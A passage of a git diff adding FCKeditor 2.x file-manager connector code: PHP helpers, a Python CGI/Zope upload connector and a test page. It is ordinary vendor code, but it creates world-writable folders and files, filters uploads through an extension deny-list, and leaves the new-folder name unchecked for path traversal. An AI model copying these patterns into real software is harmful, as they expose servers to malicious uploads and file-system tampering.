+       // Ensure that the directory exists.
+       CreateServerFolder( $sResourceTypePath ) ;
+
+       // Return the resource type directory combined with the required path.
+       return $sResourceTypePath . RemoveFromStart( $folderPath, '/' ) ;
+}
+
+function GetParentFolder( $folderPath )
+{
+       $sPattern = "-[/\\\\][^/\\\\]+[/\\\\]?$-" ;
+       return preg_replace( $sPattern, '', $folderPath ) ;
+}
+
+function CreateServerFolder( $folderPath )
+{
+       $sParent = GetParentFolder( $folderPath ) ;
+
+       // Check if the parent exists, or create it.
+       if ( !file_exists( $sParent ) )
+       {
+               $sErrorMsg = CreateServerFolder( $sParent ) ;
+               if ( $sErrorMsg != '' )
+                       return $sErrorMsg ;
+       }
+
+       if ( !file_exists( $folderPath ) )
+       {
+               // Turn off all error reporting.
+               error_reporting( 0 ) ;
+               // Enable error tracking to catch the error.
+               ini_set( 'track_errors', '1' ) ;
+
+               // To create the folder with 0777 permissions, we need to set umask to zero.
+               $oldumask = umask(0) ;
+               mkdir( $folderPath, 0777 ) ;
+               umask( $oldumask ) ;
+
+               $sErrorMsg = $php_errormsg ;
+
+               // Restore the configurations.
+               ini_restore( 'track_errors' ) ;
+               ini_restore( 'error_reporting' ) ;
+
+               return $sErrorMsg ;
+       }
+       else
+               return '' ;
+}
+
+function GetRootPath()
+{
+       $sRealPath = realpath( './' ) ;
+
+       $sSelfPath = $_SERVER['PHP_SELF'] ;
+       $sSelfPath = substr( $sSelfPath, 0, strrpos( $sSelfPath, '/' ) ) ;
+
+       return substr( $sRealPath, 0, strlen( $sRealPath ) - strlen( $sSelfPath ) ) ;
+}
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/util.php b/fckeditor/editor/filemanager/browser/default/connectors/php/util.php
new file mode 100755 (executable)
index 0000000..0cf238f
--- /dev/null
@@ -0,0 +1,45 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: util.php
+ *     Utility functions for the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function RemoveFromStart( $sourceString, $charToRemove )
+{
+       $sPattern = '|^' . $charToRemove . '+|' ;
+       return preg_replace( $sPattern, '', $sourceString ) ;
+}
+
+function RemoveFromEnd( $sourceString, $charToRemove )
+{
+       $sPattern = '|' . $charToRemove . '+$|' ;
+       return preg_replace( $sPattern, '', $sourceString ) ;
+}
+
+function ConvertToXmlAttribute( $value )
+{
+       return utf8_encode( htmlspecialchars( $value ) ) ;
+}
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/py/connector.py b/fckeditor/editor/filemanager/browser/default/connectors/py/connector.py
new file mode 100755 (executable)
index 0000000..baa9f0b
--- /dev/null
@@ -0,0 +1,789 @@
+#!/usr/bin/env python
+
+"""
+FCKeditor - The text editor for Internet - http://www.fckeditor.net
+Copyright (C) 2003-2007 Frederico Caldeira Knabben
+
+== BEGIN LICENSE ==
+
+Licensed under the terms of any of the following licenses at your
+choice:
+
+ - GNU General Public License Version 2 or later (the "GPL")
+   http://www.gnu.org/licenses/gpl.html
+
+ - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+   http://www.gnu.org/licenses/lgpl.html
+
+ - Mozilla Public License Version 1.1 or later (the "MPL")
+   http://www.mozilla.org/MPL/MPL-1.1.html
+
+== END LICENSE ==
+
+File Name: connector.py
+       Connector for Python.
+       
+       Tested With:
+       Standard:
+               Python 2.3.3
+       Zope:
+               Zope Version: (Zope 2.8.1-final, python 2.3.5, linux2)
+               Python Version: 2.3.5 (#4, Mar 10 2005, 01:40:25) 
+                       [GCC 3.3.3 20040412 (Red Hat Linux 3.3.3-7)]
+               System Platform: linux2 
+
+File Authors:
+               Andrew Liu (andrew@liuholdings.com)
+"""
+
+"""
+Author Notes (04 December 2005):
+This module has gone through quite a few phases of change.  Obviously,
+I am only supporting that part of the code that I use.  Initially
+I had the upload directory as a part of zope (ie. uploading files
+directly into Zope), before realising that there were too many 
+complex intricacies within Zope to deal with.  Zope is one ugly piece
+of code.  So I decided to complement Zope by an Apache server (which
+I had running anyway, and doing nothing).  So I mapped all uploads
+from an arbitrary server directory to an arbitrary web directory.
+All the FCKeditor uploading occurred this way, and I didn't have to
+stuff around with fiddling with Zope objects and the like (which are
+terribly complex and something you don't want to do - trust me).
+
+Maybe a Zope expert can touch up the Zope components.  In the end, 
+I had FCKeditor loaded in Zope (probably a bad idea as well), and
+I replaced the connector.py with an alias to a server module.
+Right now, all Zope components will simple remain as is because
+I've had enough of Zope.
+
+See notes right at the end of this file for how I aliased out of Zope.
+
+Anyway, most of you probably wont use Zope, so things are pretty
+simple in that regard.
+
+Typically, SERVER_DIR is the root of WEB_DIR (not necessarily).
+Most definitely, SERVER_USERFILES_DIR points to WEB_USERFILES_DIR.
+"""
+
+import cgi
+import re
+import os
+import string
+
+"""
+escape
+
+Converts the special characters '<', '>', and '&'.
+
+RFC 1866 specifies that these characters be represented
+in HTML as &lt; &gt; and &amp; respectively. In Python
+1.5 we use the new string.replace() function for speed.
+"""
+def escape(text, replace=string.replace):
+    text = replace(text, '&', '&amp;') # must be done 1st
+    text = replace(text, '<', '&lt;')
+    text = replace(text, '>', '&gt;')
+    text = replace(text, '"', '&quot;')
+    return text
+
+"""
+getFCKeditorConnector
+
+Creates a new instance of an FCKeditorConnector, and runs it
+"""
+def getFCKeditorConnector(context=None):
+       # Called from Zope.  Passes the context through
+       connector = FCKeditorConnector(context=context)
+       return connector.run()
+
+
+"""
+FCKeditorRequest
+
+A wrapper around the request object
+Can handle normal CGI request, or a Zope request
+Extend as required
+"""
+class FCKeditorRequest(object):
+       def __init__(self, context=None):
+               if (context is not None):
+                       r = context.REQUEST
+               else:
+                       r = cgi.FieldStorage()
+               self.context = context
+               self.request = r
+
+       def isZope(self):
+               if (self.context is not None):
+                       return True
+               return False
+
+       def has_key(self, key):
+               return self.request.has_key(key)
+
+       def get(self, key, default=None):
+               value = None
+               if (self.isZope()):
+                       value = self.request.get(key, default)
+               else:
+                       if key in self.request.keys():
+                               value = self.request[key].value
+                       else:
+                               value = default
+               return value
+
+"""
+FCKeditorConnector
+
+The connector class
+"""
+class FCKeditorConnector(object):
+       # Configuration for FCKEditor
+       # can point to another server here, if linked correctly
+       #WEB_HOST = "http://127.0.0.1/" 
+       WEB_HOST = ""
+       SERVER_DIR = "/var/www/html/"
+
+       WEB_USERFILES_FOLDER = WEB_HOST + "upload/"
+       SERVER_USERFILES_FOLDER = SERVER_DIR + "upload/"
+
+       # Allow access (Zope)
+       __allow_access_to_unprotected_subobjects__ = 1
+       # Class Attributes
+       parentFolderRe = re.compile("[\/][^\/]+[\/]?$")
+
+       """
+       Constructor
+       """
+       def __init__(self, context=None):
+               # The given root path will NOT be shown to the user
+               # Only the userFilesPath will be shown
+
+               # Instance Attributes
+               self.context = context
+               self.request = FCKeditorRequest(context=context)
+               self.rootPath = self.SERVER_DIR
+               self.userFilesFolder = self.SERVER_USERFILES_FOLDER
+               self.webUserFilesFolder = self.WEB_USERFILES_FOLDER
+
+               # Enables / Disables the connector
+               self.enabled = False # Set to True to enable this connector
+
+               # These are instance variables
+               self.zopeRootContext = None
+               self.zopeUploadContext = None
+
+               # Copied from php module =)
+               self.allowedExtensions = {
+                               "File": None,
+                               "Image": None,
+                               "Flash": None,
+                               "Media": None
+                               }
+               self.deniedExtensions = {
+                               "File": [ "html","htm","php","php2","php3","php4","php5","phtml","pwml","inc","asp","aspx","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","htaccess","asis" ],
+                               "Image": [ "html","htm","php","php2","php3","php4","php5","phtml","pwml","inc","asp","aspx","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","htaccess","asis" ],
+                               "Flash": [ "html","htm","php","php2","php3","php4","php5","phtml","pwml","inc","asp","aspx","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","htaccess","asis" ],
+                               "Media": [ "html","htm","php","php2","php3","php4","php5","phtml","pwml","inc","asp","aspx","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","htaccess","asis" ]
+                               }
+
+       """
+       Zope specific functions
+       """
+       def isZope(self):
+               # The context object is the zope object
+               if (self.context is not None):
+                       return True
+               return False
+
+       def getZopeRootContext(self):
+               if self.zopeRootContext is None:
+                       self.zopeRootContext = self.context.getPhysicalRoot()
+               return self.zopeRootContext
+
+       def getZopeUploadContext(self):
+               if self.zopeUploadContext is None:
+                       folderNames = self.userFilesFolder.split("/")
+                       c = self.getZopeRootContext()
+                       for folderName in folderNames:
+                               if (folderName <> ""):
+                                       c = c[folderName]
+                       self.zopeUploadContext = c
+               return self.zopeUploadContext
+
+       """
+       Generic manipulation functions
+       """
+       def getUserFilesFolder(self):
+               return self.userFilesFolder
+
+       def getWebUserFilesFolder(self):
+               return self.webUserFilesFolder
+
+       def getAllowedExtensions(self, resourceType):
+               return self.allowedExtensions[resourceType]
+
+       def getDeniedExtensions(self, resourceType):
+               return self.deniedExtensions[resourceType]
+
+       def removeFromStart(self, string, char):
+               return string.lstrip(char)
+
+       def removeFromEnd(self, string, char):
+               return string.rstrip(char)
+
+       def convertToXmlAttribute(self, value):
+               if (value is None):
+                       value = ""
+               return escape(value)
+
+       def convertToPath(self, path):
+               if (path[-1] <> "/"):
+                       return path + "/"
+               else:
+                       return path
+
+       def getUrlFromPath(self, resourceType, path):
+               if (resourceType is None) or (resourceType == ''):
+                       url = "%s%s" % (
+                                       self.removeFromEnd(self.getUserFilesFolder(), '/'),
+                                       path
+                                       )
+               else:
+                       url = "%s%s%s" % (
+                                       self.getUserFilesFolder(),
+                                       resourceType,
+                                       path
+                                       )
+               return url
+
+       def getWebUrlFromPath(self, resourceType, path):
+               if (resourceType is None) or (resourceType == ''):
+                       url = "%s%s" % (
+                                       self.removeFromEnd(self.getWebUserFilesFolder(), '/'),
+                                       path
+                                       )
+               else:
+                       url = "%s%s%s" % (
+                                       self.getWebUserFilesFolder(),
+                                       resourceType,
+                                       path
+                                       )
+               return url
+
+       def removeExtension(self, fileName):
+               index = fileName.rindex(".")
+               newFileName = fileName[0:index]
+               return newFileName
+
+       def getExtension(self, fileName):
+               index = fileName.rindex(".") + 1
+               fileExtension = fileName[index:]
+               return fileExtension
+               
+       def getParentFolder(self, folderPath):
+               parentFolderPath = self.parentFolderRe.sub('', folderPath)
+               return parentFolderPath
+       
+       """
+       serverMapFolder
+
+       Purpose: works out the folder map on the server
+       """
+       def serverMapFolder(self, resourceType, folderPath):
+               # Get the resource type directory
+               resourceTypeFolder = "%s%s/" % (
+                               self.getUserFilesFolder(),
+                               resourceType
+                               )
+               # Ensure that the directory exists
+               self.createServerFolder(resourceTypeFolder)
+
+               # Return the resource type directory combined with the
+               # required path
+               return "%s%s" % (
+                               resourceTypeFolder,
+                               self.removeFromStart(folderPath, '/')
+                               )
+
+       """
+       createServerFolder
+
+       Purpose: physically creates a folder on the server
+       """
+       def createServerFolder(self, folderPath):
+               # Check if the parent exists
+               parentFolderPath = self.getParentFolder(folderPath)
+               if not(os.path.exists(parentFolderPath)):
+                       errorMsg = self.createServerFolder(parentFolderPath)
+                       if errorMsg is not None:
+                               return errorMsg
+               # Check if this exists
+               if not(os.path.exists(folderPath)):
+                       os.mkdir(folderPath)
+                       os.chmod(folderPath, 0755)
+                       errorMsg = None
+               else:
+                       if os.path.isdir(folderPath):
+                               errorMsg = None
+                       else:
+                               raise "createServerFolder: Non-folder of same name already exists"
+               return errorMsg
+
+
+       """
+       getRootPath
+
+       Purpose: returns the root path on the server
+       """
+       def getRootPath(self):
+               return self.rootPath
+               
+       """
+       setXmlHeaders
+
+       Purpose: to prepare the headers for the xml to return
+       """
+       def setXmlHeaders(self):
+               #now = self.context.BS_get_now()
+               #yesterday = now - 1
+               self.setHeader("Content-Type", "text/xml")
+               #self.setHeader("Expires", yesterday)
+               #self.setHeader("Last-Modified", now)
+               #self.setHeader("Cache-Control", "no-store, no-cache, must-revalidate")
+               self.printHeaders()
+               return
+
+       def setHeader(self, key, value):
+               if (self.isZope()):
+                       self.context.REQUEST.RESPONSE.setHeader(key, value)
+               else:
+                       print "%s: %s" % (key, value)
+               return
+
+       def printHeaders(self):
+               # For non-Zope requests, we need to print an empty line
+               # to denote the end of headers
+               if (not(self.isZope())):
+                       print ""
+
+       """
+       createXmlFooter
+
+       Purpose: returns the xml header
+       """
+       def createXmlHeader(self, command, resourceType, currentFolder):
+               self.setXmlHeaders()
+               s = ""
+               # Create the XML document header
+               s += """<?xml version="1.0" encoding="utf-8" ?>"""
+               # Create the main connector node
+               s += """<Connector command="%s" resourceType="%s">""" % (
+                               command,
+                               resourceType
+                               )
+               # Add the current folder node
+               s += """<CurrentFolder path="%s" url="%s" />""" % (
+                               self.convertToXmlAttribute(currentFolder),
+                               self.convertToXmlAttribute(
+                                       self.getWebUrlFromPath(
+                                               resourceType, 
+                                               currentFolder
+                                               )
+                                       ),
+                               )
+               return s
+
+       """
+       createXmlFooter
+
+       Purpose: returns the xml footer
+       """
+       def createXmlFooter(self):
+               s = """</Connector>"""
+               return s
+
+       """
+       sendError
+
+       Purpose: in the event of an error, return an xml based error
+       """
+       def sendError(self, number, text):
+               self.setXmlHeaders()
+               s = ""
+               # Create the XML document header
+               s += """<?xml version="1.0" encoding="utf-8" ?>"""
+               s += """<Connector>"""
+               s += """<Error number="%s" text="%s" />""" % (number, text)
+               s += """</Connector>"""
+               return s
+
+       """
+       getFolders
+
+       Purpose: command to recieve a list of folders
+       """
+       def getFolders(self, resourceType, currentFolder):
+               if (self.isZope()):
+                       return self.getZopeFolders(resourceType, currentFolder)
+               else:
+                       return self.getNonZopeFolders(resourceType, currentFolder)
+
+       def getZopeFolders(self, resourceType, currentFolder):
+               # Open the folders node
+               s = ""
+               s += """<Folders>"""
+               zopeFolder = self.findZopeFolder(resourceType, currentFolder)
+               for (name, o) in zopeFolder.objectItems(["Folder"]):
+                       s += """<Folder name="%s" />""" % (
+                                       self.convertToXmlAttribute(name)
+                                       )
+               # Close the folders node
+               s += """</Folders>"""
+               return s
+
+       def getNonZopeFolders(self, resourceType, currentFolder):
+               # Map the virtual path to our local server
+               serverPath = self.serverMapFolder(resourceType, currentFolder)
+               # Open the folders node
+               s = ""
+               s += """<Folders>"""
+               for someObject in os.listdir(serverPath):
+                       someObjectPath = os.path.join(serverPath, someObject)
+                       if os.path.isdir(someObjectPath):
+                               s += """<Folder name="%s" />""" % (
+                                               self.convertToXmlAttribute(someObject)
+                                               )
+               # Close the folders node
+               s += """</Folders>"""
+               return s
+               
+       """
+       getFoldersAndFiles
+
+       Purpose: command to recieve a list of folders and files
+       """
+       def getFoldersAndFiles(self, resourceType, currentFolder):
+               if (self.isZope()):
+                       return self.getZopeFoldersAndFiles(resourceType, currentFolder)
+               else:
+                       return self.getNonZopeFoldersAndFiles(resourceType, currentFolder)
+
+       def getNonZopeFoldersAndFiles(self, resourceType, currentFolder):
+               # Map the virtual path to our local server
+               serverPath = self.serverMapFolder(resourceType, currentFolder)
+               # Open the folders / files node
+               folders = """<Folders>"""
+               files = """<Files>"""
+               for someObject in os.listdir(serverPath):
+                       someObjectPath = os.path.join(serverPath, someObject)
+                       if os.path.isdir(someObjectPath):
+                               folders += """<Folder name="%s" />""" % (
+                                               self.convertToXmlAttribute(someObject)
+                                               )
+                       elif os.path.isfile(someObjectPath):
+                               size = os.path.getsize(someObjectPath)
+                               files += """<File name="%s" size="%s" />""" % (
+                                               self.convertToXmlAttribute(someObject),
+                                               os.path.getsize(someObjectPath)
+                                               )
+               # Close the folders / files node
+               folders += """</Folders>"""
+               files += """</Files>"""
+               # Return it
+               s = folders + files
+               return s
+
+       def getZopeFoldersAndFiles(self, resourceType, currentFolder):
+               folders = self.getZopeFolders(resourceType, currentFolder)
+               files = self.getZopeFiles(resourceType, currentFolder)
+               s = folders + files
+               return s
+
+       def getZopeFiles(self, resourceType, currentFolder):
+               # Open the files node
+               s = ""
+               s += """<Files>"""
+               zopeFolder = self.findZopeFolder(resourceType, currentFolder)
+               for (name, o) in zopeFolder.objectItems(["File","Image"]):
+                       s += """<File name="%s" size="%s" />""" % (
+                                       self.convertToXmlAttribute(name),
+                                       ((o.get_size() / 1024) + 1)
+                                       )
+               # Close the files node
+               s += """</Files>"""
+               return s
+               
+       def findZopeFolder(self, resourceType, folderName):
+               # returns the context of the resource / folder
+               zopeFolder = self.getZopeUploadContext()
+               folderName = self.removeFromStart(folderName, "/")
+               folderName = self.removeFromEnd(folderName, "/")
+               if (resourceType <> ""):
+                       try:
+                               zopeFolder = zopeFolder[resourceType]
+                       except:
+                               zopeFolder.manage_addProduct["OFSP"].manage_addFolder(id=resourceType, title=resourceType)
+                               zopeFolder = zopeFolder[resourceType]
+               if (folderName <> ""):
+                       folderNames = folderName.split("/")
+                       for folderName in folderNames:
+                               zopeFolder = zopeFolder[folderName]
+               return zopeFolder
+
+       """
+       createFolder
+
+       Purpose: command to create a new folder
+       """
+       def createFolder(self, resourceType, currentFolder):
+               if (self.isZope()):
+                       return self.createZopeFolder(resourceType, currentFolder)
+               else:
+                       return self.createNonZopeFolder(resourceType, currentFolder)
+
+       def createZopeFolder(self, resourceType, currentFolder):
+               # Find out where we are
+               zopeFolder = self.findZopeFolder(resourceType, currentFolder)
+               errorNo = 0
+               errorMsg = ""
+               if self.request.has_key("NewFolderName"):
+                       newFolder = self.request.get("NewFolderName", None)
+                       zopeFolder.manage_addProduct["OFSP"].manage_addFolder(id=newFolder, title=newFolder)
+               else:
+                       errorNo = 102
+               error = """<Error number="%s" originalDescription="%s" />""" % (
+                               errorNo,
+                               self.convertToXmlAttribute(errorMsg)
+                               )
+               return error
+
+       def createNonZopeFolder(self, resourceType, currentFolder):
+               errorNo = 0
+               errorMsg = ""
+               if self.request.has_key("NewFolderName"):
+                       newFolder = self.request.get("NewFolderName", None)
+                       currentFolderPath = self.serverMapFolder(
+                                       resourceType, 
+                                       currentFolder
+                                       )
+                       try:
+                               newFolderPath = currentFolderPath + newFolder
+                               errorMsg = self.createServerFolder(newFolderPath)
+                               if (errorMsg is not None):
+                                       errorNo = 110
+                       except:
+                               errorNo = 103
+               else:
+                       errorNo = 102
+               error = """<Error number="%s" originalDescription="%s" />""" % (
+                               errorNo,
+                               self.convertToXmlAttribute(errorMsg)
+                               )
+               return error
+
+       """
+       getFileName
+
+       Purpose: helper function to extrapolate the filename
+       """
+       def getFileName(self, filename):
+               for splitChar in ["/", "\\"]:
+                       array = filename.split(splitChar)
+                       if (len(array) > 1):
+                               filename = array[-1]
+               return filename
+
+       """
+       fileUpload
+
+       Purpose: command to upload files to server
+       """
+       def fileUpload(self, resourceType, currentFolder):
+               if (self.isZope()):
+                       return self.zopeFileUpload(resourceType, currentFolder)
+               else:
+                       return self.nonZopeFileUpload(resourceType, currentFolder)
+
+       def zopeFileUpload(self, resourceType, currentFolder, count=None):
+               zopeFolder = self.findZopeFolder(resourceType, currentFolder)
+               file = self.request.get("NewFile", None)
+               fileName = self.getFileName(file.filename)
+               fileNameOnly = self.removeExtension(fileName)
+               fileExtension = self.getExtension(fileName).lower()
+               if (count):
+                       nid = "%s.%s.%s" % (fileNameOnly, count, fileExtension)
+               else:
+                       nid = fileName
+               title = nid
+               try:
+                       zopeFolder.manage_addProduct['OFSP'].manage_addFile(
+                                       id=nid,
+                                       title=title,
+                                       file=file.read()
+                                       )
+               except:
+                       if (count):
+                               count += 1
+                       else:
+                               count = 1
+                       self.zopeFileUpload(resourceType, currentFolder, count)
+               return
+               
+       def nonZopeFileUpload(self, resourceType, currentFolder):
+               errorNo = 0
+               errorMsg = ""
+               if self.request.has_key("NewFile"):
+                       # newFile has all the contents we need
+                       newFile = self.request.get("NewFile", "")
+                       # Get the file name
+                       newFileName = newFile.filename
+                       newFileNameOnly = self.removeExtension(newFileName)
+                       newFileExtension = self.getExtension(newFileName).lower()
+                       allowedExtensions = self.getAllowedExtensions(resourceType)
+                       deniedExtensions = self.getDeniedExtensions(resourceType)
+                       if (allowedExtensions is not None):
+                               # Check for allowed
+                               isAllowed = False
+                               if (newFileExtension in allowedExtensions):
+                                       isAllowed = True
+                       elif (deniedExtensions is not None):
+                               # Check for denied
+                               isAllowed = True
+                               if (newFileExtension in deniedExtensions):
+                                       isAllowed = False
+                       else:
+                               # No extension limitations
+                               isAllowed = True
+
+                       if (isAllowed):
+                               if (self.isZope()):
+                                       # Upload into zope
+                                       self.zopeFileUpload(resourceType, currentFolder)
+                               else:
+                                       # Upload to operating system
+                                       # Map the virtual path to the local server path
+                                       currentFolderPath = self.serverMapFolder(
+                                                       resourceType, 
+                                                       currentFolder
+                                                       )
+                                       i = 0
+                                       while (True):
+                                               newFilePath = "%s%s" % (
+                                                               currentFolderPath,
+                                                               newFileName
+                                                               )
+                                               if os.path.exists(newFilePath):
+                                                       i += 1
+                                                       newFilePath = "%s%s(%s).%s" % (
+                                                                       currentFolderPath,
+                                                                       newFileNameOnly,
+                                                                       i,
+                                                                       newFileExtension
+                                                                       )
+                                                       errorNo = 201
+                                                       break
+                                               else:
+                                                       fileHandle = open(newFilePath,'w')
+                                                       linecount = 0
+                                                       while (1):
+                                                               #line = newFile.file.readline()
+                                                               line = newFile.readline()
+                                                               if not line: break
+                                                               fileHandle.write("%s" % line)
+                                                               linecount += 1
+                                                       os.chmod(newFilePath, 0777)
+                                                       break
+                       else:
+                               newFileName = "Extension not allowed"
+                               errorNo = 203
+               else:
+                       newFileName = "No File"
+                       errorNo = 202
+       
+               string = """
+<script type="text/javascript">
+window.parent.frames["frmUpload"].OnUploadCompleted(%s,"%s");
+</script>
+                               """ % (
+                                               errorNo,
+                                               newFileName.replace('"',"'")
+                                               )
+               return string
+
+       def run(self):
+               s = ""
+               try:
+                       # Check if this is disabled
+                       if not(self.enabled):
+                               return self.sendError(1, "This connector is disabled.  Please check the connector configurations and try again")
+                       # Make sure we have valid inputs
+                       if not(
+                                       (self.request.has_key("Command")) and 
+                                       (self.request.has_key("Type")) and 
+                                       (self.request.has_key("CurrentFolder"))
+                                       ):
+                               return 
+                       # Get command
+                       command = self.request.get("Command", None)
+                       # Get resource type
+                       resourceType = self.request.get("Type", None)
+                       # folder syntax must start and end with "/"
+                       currentFolder = self.request.get("CurrentFolder", None)
+                       if (currentFolder[-1] <> "/"):
+                               currentFolder += "/"
+                       if (currentFolder[0] <> "/"):
+                               currentFolder = "/" + currentFolder
+                       # Check for invalid paths
+                       if (".." in currentFolder):
+                               return self.sendError(102, "")
+                       # File upload doesn't have to return XML, so intercept
+                       # her:e
+                       if (command == "FileUpload"):
+                               return self.fileUpload(resourceType, currentFolder)
+                       # Begin XML
+                       s += self.createXmlHeader(command, resourceType, currentFolder)
+                       # Execute the command
+                       if (command == "GetFolders"):
+                               f = self.getFolders
+                       elif (command == "GetFoldersAndFiles"):
+                               f = self.getFoldersAndFiles
+                       elif (command == "CreateFolder"):
+                               f = self.createFolder
+                       else:
+                               f = None
+                       if (f is not None):
+                               s += f(resourceType, currentFolder)
+                       s += self.createXmlFooter()
+               except Exception, e:
+                       s = "ERROR: %s" % e
+               return s
+                       
+# Running from command line
+if __name__ == '__main__':
+       # To test the output, uncomment the standard headers
+       #print "Content-Type: text/html"
+       #print ""
+       print getFCKeditorConnector()
+
+"""
+Running from zope, you will need to modify this connector. 
+If you have uploaded the FCKeditor into Zope (like me), you need to 
+move this connector out of Zope, and replace the "connector" with an
+alias as below.  The key to it is to pass the Zope context in, as
+we then have a like to the Zope context.
+
+## Script (Python) "connector.py"
+##bind container=container
+##bind context=context
+##bind namespace=
+##bind script=script
+##bind subpath=traverse_subpath
+##parameters=*args, **kws
+##title=ALIAS
+##
+import Products.connector as connector
+return connector.getFCKeditorConnector(context=context).run()
+"""
+                       
+       
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/test.html b/fckeditor/editor/filemanager/browser/default/connectors/test.html
new file mode 100755 (executable)
index 0000000..05b3ff5
--- /dev/null
@@ -0,0 +1,185 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: test.html
+ *     Test page for the File Browser connectors.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - Connectors Tests</title>
+       <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5" />
+       <script type="text/javascript">
+
+function BuildBaseUrl( command )
+{
+       var sUrl =  
+               document.getElementById('cmbConnector').value +
+               '?Command=' + command +
+               '&Type=' + document.getElementById('cmbType').value +
+               '&CurrentFolder=' + document.getElementById('txtFolder').value ;
+       
+       return sUrl ;
+}
+
+function SetFrameUrl( url )
+{
+       if ( document.all )
+               eRunningFrame.document.location = url ;
+       else
+               document.getElementById('eRunningFrame').src = url ;
+               
+       document.getElementById('eUrl').innerHTML = url ;
+}
+
+function GetFolders()
+{      
+       SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
+       return false ;
+}
+
+function GetFoldersAndFiles()
+{
+       SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
+       return false ;
+}
+
+function CreateFolder()
+{
+       var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;
+       
+       if ( ! sFolder )
+               return false ;
+       
+       var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
+       sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;
+
+       SetFrameUrl( sUrl ) ;
+       return false ;
+}
+
+function OnUploadCompleted( errorNumber, fileName )
+{
+       switch ( errorNumber )
+       {
+               case 0 :
+                       alert( 'File uploaded with no errors' ) ;
+                       break ;
+               case 201 :
+                       GetFoldersAndFiles() ;
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file' ) ;
+                       break ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       break ;
+       }
+}
+
+this.frames.frmUpload = this ;
+
+function SetAction()
+{
+       var sUrl = BuildBaseUrl( 'FileUpload' ) ;
+       document.getElementById('eUrl').innerHTML = sUrl ;
+       document.getElementById('frmUpload').action = sUrl ;
+}
+
+       </script>
+</head>
+<body>
+       <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="0" cellpadding="0" border="0">
+                                       <tr>
+                                               <td>
+                                                       Connector:<br />
+                                                       <select id="cmbConnector" name="cmbConnector">
+                                                               <option value="asp/connector.asp" selected="selected">ASP</option>
+                                                               <option value="aspx/connector.aspx">ASP.Net</option>
+                                                               <option value="cfm/connector.cfm">ColdFusion</option>
+                                                               <option value="lasso/connector.lasso">Lasso</option>
+                                                               <option value="perl/connector.cgi">Perl</option>
+                                                               <option value="php/connector.php">PHP</option>
+                                                               <option value="py/connector.py">Python</option>
+                                                       </select>
+                                               </td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td>
+                                                       Current Folder<br />
+                                                       <input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td>
+                                                       Resource Type<br />
+                                                       <select id="cmbType" name="cmbType">
+                                                               <option value="File" selected="selected">File</option>
+                                                               <option value="Image">Image</option>
+                                                               <option value="Flash">Flash</option>
+                                                               <option value="Media">Media</option>
+                                                               <option value="Invalid">Invalid Type (for testing)</option>
+                                                       </select>
+                                               </td>
+                                       </tr>
+                               </table>
+                               <br />
+                               <table cellspacing="0" cellpadding="0" border="0">
+                                       <tr>
+                                               <td valign="top">
+                                                       <a href="#" onclick="GetFolders();">Get Folders</a></td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td valign="top">
+                                                       <a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td valign="top">
+                                                       <a href="#" onclick="CreateFolder();">Create Folder</a></td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td valign="top">
+                                                       <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
+                                                               File Upload<br />
+                                                               <input id="txtFileUpload" type="file" name="NewFile" />
